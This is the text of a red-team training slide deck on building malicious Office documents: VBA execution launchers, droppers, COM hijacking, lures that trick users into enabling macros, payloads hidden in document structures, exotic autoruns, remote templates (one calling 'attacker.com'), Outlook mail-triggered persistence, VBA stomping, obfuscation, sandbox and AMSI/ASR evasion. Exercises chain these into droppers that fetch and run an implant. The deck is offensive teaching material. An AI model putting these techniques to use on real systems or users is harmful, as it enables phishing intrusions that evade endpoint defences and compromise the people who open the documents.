
Modern Initial Access and Evasion Tactics 

Mariusz Banach

@mariuszbit

mgeeky

mb@binary-offensive.com

ver. 1.9



Agenda – Appendix – Maldocs

» A guide through VBA infection strategies

» Lures – enticing user to get infected

» Hiding Payloads in Office structures

» Alternative autorun strategies

» Exotic VBA carriers

» VBA Stream manipulation

» Evasion Tactics

» Sandbox Evasion / Execution Guardrails

» AMSI Evasion

» Code Obfuscation 

» File Encryption 

» File Anonymization

» LOLBINs



(July, 22)

Macros 
Ain’t No 
Goin’ 
Anywhere 
:>

https://www.bleepingcomputer.com/news/microsoft/microsoft-rolls-back-decision-to-block-office-macros-by-default/ 

https://www.bleepingcomputer.com/news/microsoft/microsoft-rolls-back-decision-to-block-office-macros-by-default/


(Sep, 22)

Shieeet, 
Macros got 
blocked
:<

Microsoft 365 v. 2202+

» Bypasses? 

Currently no silver bullet.

» Containers not propagating MOTW.

» Office-in-LNK     (kinda weak)

» Office-in-MSI       (kinda weak)



VBA Infection Strategies



» Mnemotechnic: Alt+F11IM   (Alt+F11 -> Insert -> Module ) – quickly inserts VBA module into a document

» Exercise #1: Warm-Up – create a simple Hello World macro-enabled document

» repo\day2\Exercise 2 – VBA Hello World\Hello World.xlsm

» These are VBA modules.

» In Excel, default one is called ThisWorkbook

VBA Hello World

VBA Infection Strategies »



» VBA can facilitate Initial Access in many different ways. I’m aware of at least 17 of them.

» We’re gonna cover only few essential/most useful ones.:

» 1. Execute

» 2. File Dropper

» 3. COM Hijack

» 4. DotNetToJScript => this one is super stable & useful but not separately covered.

» Some techniques drop artifacts to HDD, other run it In-Memory.

» We prefer the latter due to lowered detection & forensic potential.

Different Paths -> Same Goal

VBA Infection Strategies »



» Use of WinAPI in VBA is strongly inadvisable due to increased detection potential.

» Currently I know of no other way to import WinAPI in VBA without using Declare PtrSafe statements.

» If you really need to use them, avoid at all cost dodgy stuff – GetUserNameA will do, but CreateProcessA won’t cut it.

Different Paths -> Same Goal

VBA Infection Strategies »



» VBA Macro Hello World – for macro first-timers ☺

» 1. Open up Excel

» 2. Hit Alt+F11 or Ribbon -> Developer -> Visual Basic -> Insert -> Module -> start typing your VBA code.

» 3. Save your file with XLSM or XLS extension

» 4. Close Excel. Open it up again -> Enable Editing -> see your macro executed.

» VBA macro can be automatically executed (Autoruns).

» Works in Word + Excel.

» Different function names for Word & Excel

» No autorun functionality for any other Office product, with a few exceptions – we’ll cover them later.

» Let’s start with Basic Autoruns

VBA Macro Hello World

VBA Infection Strategies »

Word Excel
Most well-known 
Autoruns



» Set of policies enforced by Microsoft Defender Exploit Guard 

attempting to contain malicious activities.

» Generally really solid reinforcement added to Windows, 

yet can be easy to bypass.

» Ones interfering with our Initial Access marked in yellow.

» Great research on those available:

» https://adamsvoboda.net/extracting-asr-rules/

» https://github.com/HackingLZ/ExtractedDefender/

» https://github.com/commial/experiments/tree/master/windows-defender/ASR

Attack Surface Reduction (ASR) Rules

VBA Infection Strategies »

https://github.com/HackingLZ/ExtractedDefender/
https://github.com/HackingLZ/ExtractedDefender/
https://github.com/commial/experiments/tree/master/windows-defender/ASR


» MS Defender configured as Anti-Virus is enough to configure ASR rules on our own workstation. No need for Windows E5 license.

» Win+R -> gpedit.msc -> Computer Configuration -> Administrative Templates -> Windows Components -> Microsoft Defender Antivirus

-> Microsoft Defender Exploit Guard -> Attack Surface Reduction -> Configure Attack Surface Reduction rules ->

» Set „Enabled”

» Go to Show… -> paste rule GUID + 2 (for Audit)

» Or use elevated Powershell to do this:

»     PS> .\Repo\Tools\ASR\Configure-ASR.ps1 –State Audit

Enabling ASR Rules

VBA Infection Strategies » https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/enable-attack-surface-
reduction?view=o365-worldwide#group-policy

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-
reduction-rules-reference?view=o365-worldwide#asr-rule-to-guid-matrix

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/enable-attack-surface-reduction?view=o365-worldwide#group-policy
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/enable-attack-surface-reduction?view=o365-worldwide#group-policy
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#asr-rule-to-guid-matrix
https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#asr-rule-to-guid-matrix


» Most basic VBA execution strategy is to simply run some command, LOLBIN.

» One plot twist though – there are 21+ different command-execution techniques ☺ I’ll called them „Launchers”

» Most recognizable launcher? Shell! 

» Avoid running anything (Phish to Persist, COM/DLL Hijacking, remember?) but if you must – always through LOLBIN!

» Now it gets trickier... Again we’ll cover the most useful ones:

» 1. Wscript.Shell.Exec                

» 2. WMI

» 3. Scheduled.Task

1. Execute

VBA Infection Strategies »

» 4. InvokeVerbEx

» 5. DotNetToJScript

» 6. RDS.DataSpace

Review all samples in:

repo\Exercises\day2\VBA-Macros\VBA 
Templates\1.execute\



» [opsec-not-safe, blocked-by-ASR] Simple WScript.Shell Run invocation.

» While designing your Payloads, it’s a good practice to keep repeated code snippets extracted as Templates 

» Prefix all symbols with obf_ to facilitate later obfuscation.

» Acquiring COM context CreateObject vs GetObject

» 1st parameter = COM ProgID

» CreateObject("WScript.Shell") == CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

Launcher 1. Wscript.Shell

1. Execute »

Launch hidden

Evades ASR



» These three implementations do the same thing, yet they might impact detection based on static signatures

» That’s why we prefer using CreateObject(„new:CLSID”) over CreateObject(„ProgId”)

Launcher 1. Wscript.Shell

1. Execute »

Defender ASR Rule „Block Office communication application from creating child processes”

https://github.com/HackingLZ/ExtractedDefender/blob/main/asr/26190899-1602-49e8-8b27-
eb1d0a1ce869

CreateObject(„new:CLSID”) doesn’t work in VBScript.

VBScript requires CreateObject(„ProgID”)

https://github.com/HackingLZ/ExtractedDefender/blob/main/asr/26190899-1602-49e8-8b27-eb1d0a1ce869
https://github.com/HackingLZ/ExtractedDefender/blob/main/asr/26190899-1602-49e8-8b27-eb1d0a1ce869


» MS Defender started picking up on Wscript.Shell.Run through their Attack-Surface-Reduction rules lately.

» But have a nice ASR Bypass: let us use Wscript.Shell.Exec instead!

» Use AMSITools to review AMSI events

Launcher 1. Wscript.Shell.Exec >> Wscript.Shell.Run

1. Execute »

1. AMSI 
triggered

2. We pull & 
review event 
details

3. OleViewDotNet helps us understand 
Wscript.Shell COM & exposed interfaces

4. And then we find alternative function = BYPASS

https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/red-teaming/AMSITools


» Left – DETECTED

» Right – UNDETECTED (as of Oct, 2022)

Launcher 1. Wscript.Shell.Exec >> Wscript.Shell.Run

1. Execute »



» [parent-child-dechain] WMI Win32_Process::Create method for launching commands. 

» Allows to dechain Parent-Child relationship, spawned command will be child of wmiprvse.exe. 

» May be blocked by modern EDRs. 

» Not reliable anymore. Defender picks it up via AMSI & kills it via ASR rule

» „Block Process Creations originating from PSExec & WMI commands”

Launcher 2. WMI

1. Execute »



» May be blocked by modern EDRs. 

» Not reliable anymore. Defender picks it up via AMSI & kills it via ASR rule

» „Block Process Creations originating from PSExec & WMI commands”

Launcher 2. WMI
1. Execute »

AMSI hit ^.^

WIN+R -> eventvwr.msc -> Application -> Microsoft -> 
Windows Defender -> Operational



» PROS: 

» Very fancy technique, RELIABLE, not detected

» not detected by any AV/EDR I tested it on ☺

» CONS: 

» Leaves parent-child relationship, 

» some times doesn’t work with LOLBIN, 

» issues with command line parameters

» Office x86 subject to SysWOW64 redirection. No access to System32.

Launcher 3. InvokeVerbEx

1. Execute »



» [reliable, stealthy, persistence, parent-child-dechain] 

» Some environments explicitely detect scheduled tasks

» Schedules a task to be run after N seconds and/or during user's logon. 

» Allows to dechain Parent-Child relationship, 
spawned command will be child of task scheduler. 

» Quite robust!

Launcher 4. Scheduled.Task

1. Execute »

https://www.trellix.com/en-
us/about/newsroom/stories/threat-labs/suspected-
darkhotel-apt-activity-update.html



» Yesterday we covered DotNetToJScript. It runs .NET assemblies in-memory through Assembly.Load

» We can execute a simple C# code running our OS command -> and then use that .NET from VBA.

Launcher 5. DotNetToJScript

1. Execute »



» How to:
» Step 1a: Design your malware in C# - Use a generator script:

» cmd> cd “Tools\rogue-dot-net”
» cmd> py generateRogueDotNet.py -t run-command -o runner64.dll –c x64 doesnt-matter

» Step 2: Convert generated .NET assembly to a VBA:

» cmd>  DotNetToJScript.exe -l VBA -c ProgramNamespace.Program -o runner64.vba runner64.dll

» Step 3: Add one line to generated runner64.vba that actually invokes exposed ProgramNamespace.Program.Foo(string command) method:
        (just after DynamicInvoke)

o.Foo(“calc.exe”);

» Step 4: Copy & Paste generated runne64.vba into Office document

» (OPTIONAL Exercise): Prepare your own Excel with macro that runs Calc via DotnetToJS/GadgetToJS

Launcher 5. DotNetToJScript

1. Execute »



» Expected to be obsoleted and no longer available starting with Windows 8 and Windows Server 2012

» As per MSDN and some StackOverflow posts reporting no longer working VBA scripts on Windows 10.

» Very reliable, not detected

» Yet it still works on both Windows 10 1809 and Windows 11 21H2 ¯\_(ツ)_/¯

» However it’s nearly the same as Explorer ShellBrowserWindow COM ShellExecute variant.

Launcher 6. RDS.DataSpace

1. Execute »



» Simple & Deadly, as long as AV/EDR filesystem minifilter won’t snap our dropped payload OnWrite.

» Lets us Phish To Persist - dechain Write + Exec events via e.g. DLL Hijacking etc.

» File can be pulled from:

» Internet (downloaded)

» From Office file structures (more on this later)

» From VBA code itself – file can be just embedded into VBA.

» „How FortiEDR protects against CrimsonRAT”

» CrimsonRAT made OPSEC failures at every step

2. File Dropper

VBA Infection Strategies »



» File can be pulled from:

» Internet (downloaded)

» From Office file structures (more on this later)

» From VBA code itself – file can be just embedded into VBA.

» repo\Exercises\day2\VBA-Macros\VBA Templates\2.filedropper\

2. File Dropper

VBA Infection Strategies »

» VBA 128x128 Rule:
» VBA line of code not longer than 128 characters
» One VBA function not more than 128 lines of code.



» Then we save that file onto disk & launch it

2. File Dropper

VBA Infection Strategies »



» COM Hijacking – plants dodgy COM server via registry key in HKCU that overrides HKLM’s system defaults

» 1. First create Registry key structure using VBA

» 2. Then drop a DLL file to HDD

» 3. Then wait until System/Application picks that COM object up and instantiate it.

» Beware: Your DLL might be executed hundreds Times per minute!

» So -> Implement single-instance / single-run logic

» (Optional Exercise): 

» Generate your DLL and place it in 

Exercises\day2\VBA-Macros\VBA Templates\3.comhijack\evil.dll

» Run start-webserver.bat

» Run any of the pre-generated Office documents and verify 

in Registry if there is COM key:

 HKCU\Software\Classes\CLSID\{0358B920-0AC7-461F-98F4-58E32CD89148}

3. COM Hijack

VBA Infection Strategies »



» Which COM CLSIDs to Hijack?

» {0358B920–0AC7–461F-98F4–58E32CD89148}

» {BCDE0395-E52F-467C-8E3D-C4579291692E}

3. COM Hijack

VBA Infection Strategies »

https://gist.github.com/mgeeky/7d2f8363f5e8961daa51b56869101a8a

https://gist.github.com/mgeeky/7d2f8363f5e8961daa51b56869101a8a


» XLAM = Excel Add-In, spreadsheet with macro, typically stored in Trusted Location.

» Uses Office Automation interfaces to dynamically create password-protected Excel spreadsheet and inject plain VBA there.

» Generated Excel will be saved into Office Trusted Location directory (%USERPROFILE%\AppData\Roaming\Microsoft\Excel\XLSTART) & then executed.

» So that we have VBA that runs VBA. 

» First – What are Trusted Locations?

» Places where Macros are allowed to run

» Places where AMSI doesn’t apply.

4. XLAM Dropper

VBA Infection Strategies »



» Uses Office Automation interfaces to dynamically create Excel spreadsheet and inject VBA there.

» Then will save that Excel with password into Office Trusted Location directory & execute it.

4. XLAM Dropper

VBA Infection Strategies »



» This slide is skipped due to decreased relevance of VBA macros, favouring time dedicated discussing Complex Infection Chains weaponization. Normally 

it took 20-30mins to go over this example, so I took a hard call to hide the slide and spend that time on chains being more relevant nowadays.

» Exercise 3: Create XLAM Dropper that drops XLAM ☺ running Autoruns64.exe

» Stage 1:

» Generate Mythic Apollo EXE implant, name it evil.exe and store it to Exercises\day2\Exercise 3 - XLAM Dropper\

» Create FileDropper VBA that:

» downloads http://localhost:8080/evil.exe

» saves them to %SystemDrive%\Users\Public\evil.exe

» runs it with Wscript.Shell.Exec

» Ensure it runs fine and spawns Apollo.

» Stage 2:

» Then treat FileDropper VBA as if it was shellcode and pass it to shellcode2vba.py to obtain VBA code with embedded dropper.

» Then copy & paste result of shellcode2vba into XLAM Dropper template.

» Dropped XLAM itself must be run via (choose your difficulty level!):

» Difficulty Easy peasy: InvokeVerbEx once more

» Difficulty #TryHarder: DotNetToJScript ☺

» Save resulting VBA code as a Macro-Enabled Excel (XLSM) and run it.

» Let me know if that worked!

» MAGIC: Excel XLSM -> InvokeVerbEx -> XLSTART XLAM -> Download from URL -> Wscript.Shell.Exec -> Mythic Apollo!

4. XLAM Dropper

VBA Infection Strategies »

http://localhost:8080/Autoruns64.exe


LURES



» Before malware can be deployed, we need to have User enabling macros. To use what I call „Lure”

» Idea is to present plausible pretext that will be removed after macros run.

Enticing User to get Infected

Lures »



» Example Lures are stored in Exercises\day2\VBA-Macros\VBA Lures\EN-Excel.xlsx

» Create document named Lure.xlsm

» In Lure document: Ctrl+A -> Ctrl+C and paste into Lure.xlsm . Image did not get copied, so copy it manually and paste into Lure doc.

» Now in Lure.xlsm: Ribbon -> HOME -> Editing -> Select... -> Selection Pane -> give it a name like “warning-div” + change picture to “warning-pic”

Enticing User to get Infected

Lures »



» Now comes the automation part. We need VBA that will peel off that regions (named warning-div and warning-pic respectively)

» Different implementation for Excel and Word.

» EXERCISE 4: Create an Excel that fetches Autoruns64.exe from Internet

and uses Lure to entice user into enabling macros

» Rework example: repo\Exercises\day2\VBA-Macros\Lures\Lure.xlsm

Enticing User to get Infected

Lures »

* Harder challenge:

Create a PowerPoint 
slide deck that runs 
macro and uses a lure



Hiding Payloads in Office 

structures



» Big blobs of shellcode embedded in VBA really stand out. 

» Prone to ML-based detection, obvious for analysts.

» So instead we’re looking for ways to place Shellcode outside 

of VBA but still reachable.

» Ideas:

» Shellcode or commands in Document Properties

» Word Variables

» Word/Excel/PowerPoint Parts

» VBA Forms

» Spreadsheet Cells

» Word’s ActiveDocument.Paragraphs

» Other benefit is that our VBA code obfuscation round will be much quicker.

» VBA itself will run much faster, avoiding Office „freezes” while our dodgy code runs.

Why hiding?

Hiding Payloads In Office Structures »

https://www.group-ib.com/blog/dark-pink-apt/



» Simplest idea is to place small shellcode or command to execute in Document properties:

» Title

» Subject

» Comments

» Then simply refer to them from VBA code.

» Really old idea, recently received a new light due to Offensive Security blogpost by TJ Null

» Document.BuiltInDocumentProperties(„Subject”)

» Workbook.BuiltInDocumentProperties(„Comments”)

Document Properties

Hiding Payloads In Office Structures »

https://www.offensive-security.com/offsec/macro-weaponization/
https://docs.microsoft.com/en-us/office/vba/api/word.document.builtindocumentproperties
https://docs.microsoft.com/en-us/office/vba/api/excel.workbook.builtindocumentproperties


» MS Word supports use of ActiveDocument.Variables acting as a storage for strings saved within Word document structures.

» They are typically stored in doc.docm:\word\settings.xml 

» Since they’re XML node attribute values, binary data needs to be base64-encoded. Also there might be some size-limitations

Word Variables

Hiding Payloads In Office Structures »



» If we want to store binary blob into Variable, a VBA Base64 decoder is going to be needed.

» Example implementation of such decoder:

» Exercises\day2\VBA Templates\Utils\base64.decode.vba

» It shifts every byte by adding 35 mod 256 – a little bypass trick for automated base64-extractors.

» CyberChef’s ADD

Word Variables

Hiding Payloads In Office Structures »



» To manually inject variable into Word document, follow steps:

» 1. Right click on Word document -> Unzip it -> enter unzipped directory -> go to: word subdirectory

» 2. Edit settings.xml file

» 3. Add new node: 

<w:docVars>

<w:docVar w:name="command" w:val="notepad.exe" />

</w:docVars> 

» to <w:settings> parent node.

» Save XML file.

» Zip directory back to a Word document

Word Variables

Hiding Payloads In Office Structures »



» CustomXMLParts are available in Word + Publisher, Excel, PowerPoint

» They occupy a dedicated Directory within document’s structure, named „customXml”

» Embedding shellcode into Parts is a bit tedious, as it requires more manual steps

» Data must be still a string (so base64-encoding applies) 

but significant advantage is that there are no size-limitations!

Office Parts

Hiding Payloads In Office Structures »



» Data should be embedded in Base64-encoded form and then dynamically decoded by VBA. 

» Example payload + implementation in: 

Exercises\day2\VBA-Macros\Hiding-Payloads\Parts

Office Parts

Hiding Payloads In Office Structures »



» To manually embed shellcode into CustomXMLPart we’ll have to:

» 1. Create directories structure: customXml\_rels\

» 2. Create customXml\_rels\item1.xml.rels file with relationship definition pointing at dummy customXml\itemProps1.xml

» 3. Create customXml\item1.xml containing our payload

» 4. Create dummy customXml\itemProps1.xml file

Office Parts

Hiding Payloads In Office Structures »



Alternative Autoruns



» Proxy Sandboxes (notably Zscaler – really an apex one!), AVs, EDRs – they all are sensitive to Auto_Open()

» That may give away our Maldocs, rendering intrusion a fiasco.

Run Me!

Alternative Autoruns »

Most well-known 
Autoruns



» Quite hefty one – available only in Excel - probably not commonly detected ☺

» Beware: Executes VBA macro every time Sheet changes (with every edit!)

» Additional Exercise: Add global Boolean AlreadyRun variable storing whether macro was already invoked.

» Step 1: Open up Excel -> Alt+F11 -> Double click on ThisWorkbook (!) (Code MUST be in this stream!)

» Step 2: Paste the following function:

Private Sub Workbook_SheetCalculate(ByVal obf_Sheet As Object)

  MsgBox "It's alive! =RAND() is alive!"

End Sub

» Step 3: Get back to spreadsheet -> find a distant cell -> and type there:

   =RAND()

» Save Excel -> re-open it to observe results ☺

» Example: Exercises\day2\Exotic-Autoruns\Excel-RAND.xlsm

» For demonstration purposes, “=RAND()” is in C2 cell.

Workbook_SheetCalculate + =RAND()

Alternative Autoruns »



» A way to deliver innocuous DOCX documents referring remote Word Templates (.dot/.dotm) with VBA macros.

» Email Scanners will scan DOCX

» Abused by Lazarus group in September, 2022*

» Proxy will examine subsequently fetched DOTM – Proxy can be considered weaker at sensing malware

» Extension of remotely fetched template is irrelevant

MS Word Remote Templates

Alternative Autoruns »

* https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/

https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/


» How to inject them:

» 1. Find max relationship-ID value in word/_rels/document.xml.rels and use rId+1 in below XML nodes (here we work with rId6 )

» 2. Create word/_rels/settings.xml.rels file and fill it with:

<?xml version="1.0" ?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" 
Target="http://localhost:8080/1-execute-notepad-wscript.shell.dotm" TargetMode="External"/>
</Relationships>

» 3. Next, update word/settings.xml by adding just before </w:settings> this node

<w:attachedTemplate r:id="rId6"/>

MS Word Remote Templates

Alternative Autoruns »



» Office offers functionality to customize Ribbon. Part of that support is based on CustomUI XML.

» That XML can be used offensively to specify OnLoad function name, that will serve us as Auto Exec.

» Steps to embed CustomUI:

» 1. Unzip PowerPoint -> go to do directory

» 2. Create customUI directory

» 3. Create customUI\CustomUI.xml file and paste following contents:

      <customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="VeryNastyStuff" ></customUI>

CustomUI

Alternative Autoruns »

• We can instrument XLSX into loading XLSM through 
CustomUI remotely. Just set CustomUI with:

onLoad=„https://attacker.com/file.xlsm!FunctionName”

and then make sure your FunctionName accepts a single 
parameter:

 Sub FunctionName(param)
        MsgBox „It Works!”
 End Sub



» ActiveX Controls can be inserted into document in:

» Developer -> Controls -> Insert -> More Controls ... -> and then select appropriate Control

» Beware: ActiveX Control callback can get called hundred times per second!

» So run-once logic applies here

Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)  

  MsgBox "Oooops, remember to add here run-once logic, otherwise I'll be executed over and over..."

End Sub

Active X Controls Autorun

Alternative Autoruns »

https://www.greyhathacker.net/?p=948



» Windows Media Player ActiveX is among lesser known objects that we might use for exotic Autorun

» Following callbacks could give us autorun opportunity:

» Private Sub WindowsMediaPlayer1_MediaError(ByVal obf_pMediaObject As Object)

» Private Sub WindowsMediaPlayer1_PlayStateChange(ByVal obf_NewState As Long)

» Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)

» First we open up Excel -> then Developer tab on ribbon -> Insert -> More Controls… -> Windows Media Player

» Insert it into a sheet -> right click -> Properties -> adjust accordingly:

» Set Visible to False

» Set (Name) to Foobar

» Set URL to some non-existing URL: https://sfsfsdfsdf.sfd

» Then shrink insert control so that it occupies 1px x 1px (just make it invisible, even though we set Visible to False)

» Insert VBA module named Sheet1 -> then add appropriate code:

Private Sub Foobar_MediaError(ByVal obf_pMediaObject As Object)

MsgBox „It Works!”

End Sub

Example: repo\Exercises\day2\VBA-Macros\Exotic-Autoruns\Excel-Windows-Media-Player.xlsm

Active X Controls Autorun

Alternative Autoruns »



» We’ve covered Lures, payload hiding, exotic autoruns – let’s craft up a nice Red Team payload now ☺

» MANUAL Exercise 4: Create PowerPoint with Lure that spawns Apollo EXE hidden in structures, with RDS.DataSpace

» Difficulty Medium:

» Phase 4.1. Craft a MS PowerPoint document that will display MsgBox

» Phase 4.2. Rework that PowerPoint to let it present Lure message (let’s just simply use MS Word one)

» Phase 4.3. Use CyberChef to Base64-encode your Apollo.exe (remember to ADD 35 before base64 step)

» Phase 4.4. Pull encoded payload from the Internet (you can get HTML stager function from 

repo\day2\VBA-Macros\VBA Templates\2.filedropper\downloaded-from-url )

» Phase 4.5. Execute it in VBA using RDS.DataSpace technique

» Phase 4.6. Generate HTML Smuggling vector containing your document – and double-click on it to test the infection flow.

» Difficulty #TryHarder:

» Phase 4.1. Craft a PowerPoint with CustomUI that will display MsgBox

» Phase 4.2. Rework that PowerPoint to let it present Lure message (let’s just simply use MS Word one)

» Phase 4.3. Use CyberChef to Base64-encode your Apollo.exe (remember to ADD 35 before base64 step)

» Phase 4.4. Store encoded shellcode in CustomXMLParts

» Phase 4.5. Execute it in VBA using RDS.DataSpace technique

» Phase 4.6. Generate HTML Smuggling vector containing your document – and double-click on it to test the infection flow.

How about a little practice?

Alternative Autoruns »

Where to find templates:

» Exercises\day2\Lures\EN-Word.docx
» Exercises\day2\Exotic-Autoruns\
» Exercises\day2\Exercise 4 - Lures\
» Exercises\day2\VBA Templates\1.execute\
» Tools\smuggler\



Exotic VBA Carriers



» MS Office: 

» Access (.accde, .mdb), PowerPoint, Publisher (.pub)

» Visio (.vsdm), Visio97 (.vsd), MS Project (.mpp)

» Outlook (ThisOutlookSession, VBAProject.OTM, not a carrier)

» SCADA Systems:

» Siemens SIMATIC HMI WinCC V7.3

» General Electric HMI Scada iFIX

» IGSS schneider-electric

» CAD Software:

» VBA Module for AutoCAD / VBA Manager in AutoCAD 2021

» ProgeCAD Professional

» SOLIDWORKS .swp/.swb VBA project files

» DS CATIA V5

» Bentley MicroStation CONNECT (.MVBA files)

» Others:

» ArcMap .MXT files (ArcGIS Map Template)

» Oscilloscopes: Keysight E5071C Network Analyzer

» TIBCO Statistica® Visual Basic (.SVB) Analysis Configuration

» Rocket Terminal Emulator (formerly BlueZone, which uses/used VBA in .BVP files)

» MicroFocus InfoConnect Desktop – Terminal emulator

What else can carry VBA?

Exotic VBA Carriers »



= Critical Infrastructure + VBA

Exotic VBA Carriers »

» Critical Infrastructure sectors

» Architects, Engineers, Designers, Mechanics

» That’s why consider EVERYTHING having VBA freaking serious threat.



» RTF (Rich Text File) cannot contain VBA macros, file format doesn’t support VBA streams.

» However we can simply rename Evil.DOCM => Evil.RTF ☺

» Publisher can contain VBA macros, but there is no interface to add them automatically.

» Therefore manual copy & paste required.

» Uses the same autorun entry-points as MS Word.

Publisher, RTF

Exotic VBA Carriers »



MS Outlook

Exotic VBA Carriers »

» MS Outlook can run VBA macro saved in its ThisOutlookSession module.

» Such module is located in %APPDATA%\Microsoft\Outlook\VbaProject.OTM file.

» That file can have MOTW flag marked on it and outlook will still load VBA macros stored within. MOTW Bypass?

» To make Outlook run macros, we need to decrease its security settings by adjusting registry:

    reg add hkcu\software\microsoft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1

Examples: repo\Exercises\Day2\VBA-Macros\Exotic-VBA-Carriers\Outlook

https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/

Private Sub Application_NewMailEx(ByVal obf_EntryIDCollection As String)
  On Error GoTo obf_ProcError
  Dim obf_oNewMailItem As Outlook.MailItem
  Dim obf_appNameSpace As Outlook.NameSpace
 
  Set obf_appNameSpace = Application.Session
 
  Select Case obf_appNameSpace.GetItemFromID(obf_EntryIDCollection).Class
   Case Is = olMail
     Set obf_oNewMailItem = obf_appNameSpace.GetItemFromID(obf_EntryIDCollection)
     obf_ItemAdd obf_oNewMailItem
  End Select

obf_ProcError:
End Sub

Private Sub obf_ItemAdd(ByVal obf_mailItem As MailItem)
  On Error Resume Next
  Dim obf_self As Boolean
  Dim obf_account As Outlook.Account
  
  obf_self = False
  
  For Each obf_account In Outlook.Session.Accounts
    If StrComp(LCase(obf_mailItem.SenderEmailAddress), LCase(obf_account.SmtpAddress), vbTextCompare) = 0 Then
      obf_self = True
    End If
  Next
  
  If (Not obf_self) And (InStr(obf_mailItem.Subject, "FOOBAR FOOBAR FOOBAR") > 0) Then
    obf_ProcessEmail obf_mailItem
    obf_mailItem.Delete
  End If

  Set obf_mailItem = Nothing
End Sub

Private Sub obf_ProcessEmail(ByVal obf_mailItem As Outlook.MailItem)
  On Error GoTo obf_ProcError

  ' Write your malware here.
  MsgBox "Its alive!"

obf_ProcError:
End Sub

https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/


» MS Access database can be instrumented with CustomUI to run VBA code upon opening. 

» Not really useful vector from a social engineering perspective, but worth covering anyway for Purple Teaming purposes. 

» To let MS Access DB run VBA follow the steps:

» 1. Open up MS Access -> Create new .MDB file

» 2. Hit Alt+F11 to open Visual Basic Editor

» 3. Write your VBA there. Use AutoExec() for entry point name.

» .ACCDE requires undocumented API call.

MS Access

Exotic VBA Carriers »

Undocumented trick for 
converting .MDB to .ACCDE ☺



MS Visio

Exotic VBA Carriers »

» Drawings in Visio can have VBA macros. 

» If AutoCAD or any other CAD can open Visio with VBA -> infection spreads.

» VBA code must be inserted into „ThisDocument” module

» Extensions that execute VBA macro (8):

» .vdw .vsd .vsdm .vss .vssm .vsw .vstm .vst



MS Project

Exotic VBA Carriers »

» Projects in MS Project can have VBA macros. 

» VBA code must be inserted into „ThisProject” module

» Extensions that execute VBA macro (5):

» .mpd .mpp .mpt .mpw .mpx



VBA Stream Manipulation



» VBA Macros are stored in vbaProject.bin OLE Stream modules (FAT-alike).

» Each module consists of:

» PerformanceCache – P-Code - compiled VBA code, Office version-specific 

» CompressedSourceCode – Compressed VBA with MS properietary algo

» When document is saved, VBA engine saves p-code to increase performance

» PROJECT – VBA Project metadata

» _VBA_PROJECT – specifies P-code Office version, instructs VBA engine

» dir – VBA project layout

What is a VBA Stream

VBA Stream Manipulation »

https://github.com/rossknudsen/Kavod.Vba.Compression


» Devised by Dr. Vesselin Bontchev in 2018, first weaponized with EvilClippy by Outflank in 2019

» PerformanceCache := malicious P-Code

» CompressedSourceCode := innocuous VBA Code

» Relies on the fact that Office prefers executing P-Code if its version matches, rather than Compressed.

» VBA analysis tools (back in 2019) dumped/analysed primarily CompressedSourceCode, which can be faked.

» But EvilClippy offers other useful features that among the others toggle flags/properties in VBA Project stream:

» Hide VBA from GUI

» Remove metadata stream

» Set random module names, confusing some analyst tools

» Make VBA Project unviewable/locked

VBA Stomping

VBA Stream Manipulation »



» Detectable. 

» Doesn’t help reducing detection score or evade anything since 2018?

VBA Stomping

VBA Stream Manipulation »



» When document with VBA is saved:

» PerformanceCache - Office stores p-code matching its version.

» CompressedSourceCode - Also stores compressed VBA code.

» During open, if Office and p-code versions mismatch:

» Compressed one is gets decompressed -> compiled -> run

» VBA Purging:

» Removes PerformanceCache (p-code) from Module and _VBA_PROJECT streams

» Changes MODULEOFFSET to 0

» Removes all __SRP_# streams

» This removes Strings representing VBA code parts from document, lowering detection potential.

VBA Purging

VBA Stream Manipulation »



» This technique doesn’t help that much lowering detection rate nowadays.

» “Epic Manchego” threat actor used EPPlus

» Legitimate C# library for creating Excel spreadsheets

» It can write compressed VBA to generated Excel.

» By design it applies VBA Purging

» Weaponized in FortyNorthSecurity/hot-Manchego

» Can be detected with clever YARA rules

» … which can be equally easily evaded – I’m the one to blame! ^.^

VBA Purging

VBA Stream Manipulation »

https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/#comments
https://github.com/JanKallman/EPPlus
https://github.com/FortyNorthSecurity/hot-manchego


Evasion Tactics



» Uglify: remove empty lines, add random indentation, insert garbage code & comments.

» Helps evade ML-models comparing anomalous code to typical employee-authored one (comments, remember?)

» Rename variables and Function/Sub names

» Randomize functions order. VBA doesn’t care.

» Obfuscate strings

» Chr(…), StrReverse(…) 

» Extract -> shifted-Base64 encode (+N mod 256) -> replace

» Avoid overly long lines, break them at 80-120th character.

» Payload obfuscation is trickier:

Obfuscation Strategies

Evasion Tactics »

Makes a huge difference!



Obfuscation Strategies

Evasion Tactics »



» Detect if running in Sandbox environment. Don’t run any further.

» Weak: 

» Domain Joined

» Hardware: CPU, Memory, HDD

» Examination of process list

» NIC MAC addresses

» Better:

» Validation of Username/Domain name

» Uptime check

» Internet-exposed IPv4 Geo-location & reverse-PTR

Sandbox Evasion / Execution Guardrails

Evasion Tactics »



» Powerful Evasion technique! Kills detection entirely. 

» Office documents can be Password-Protected / Encrypted.

» That’s not the same as Password-Protected VBA -> that one is easily skippable by AV/EDR

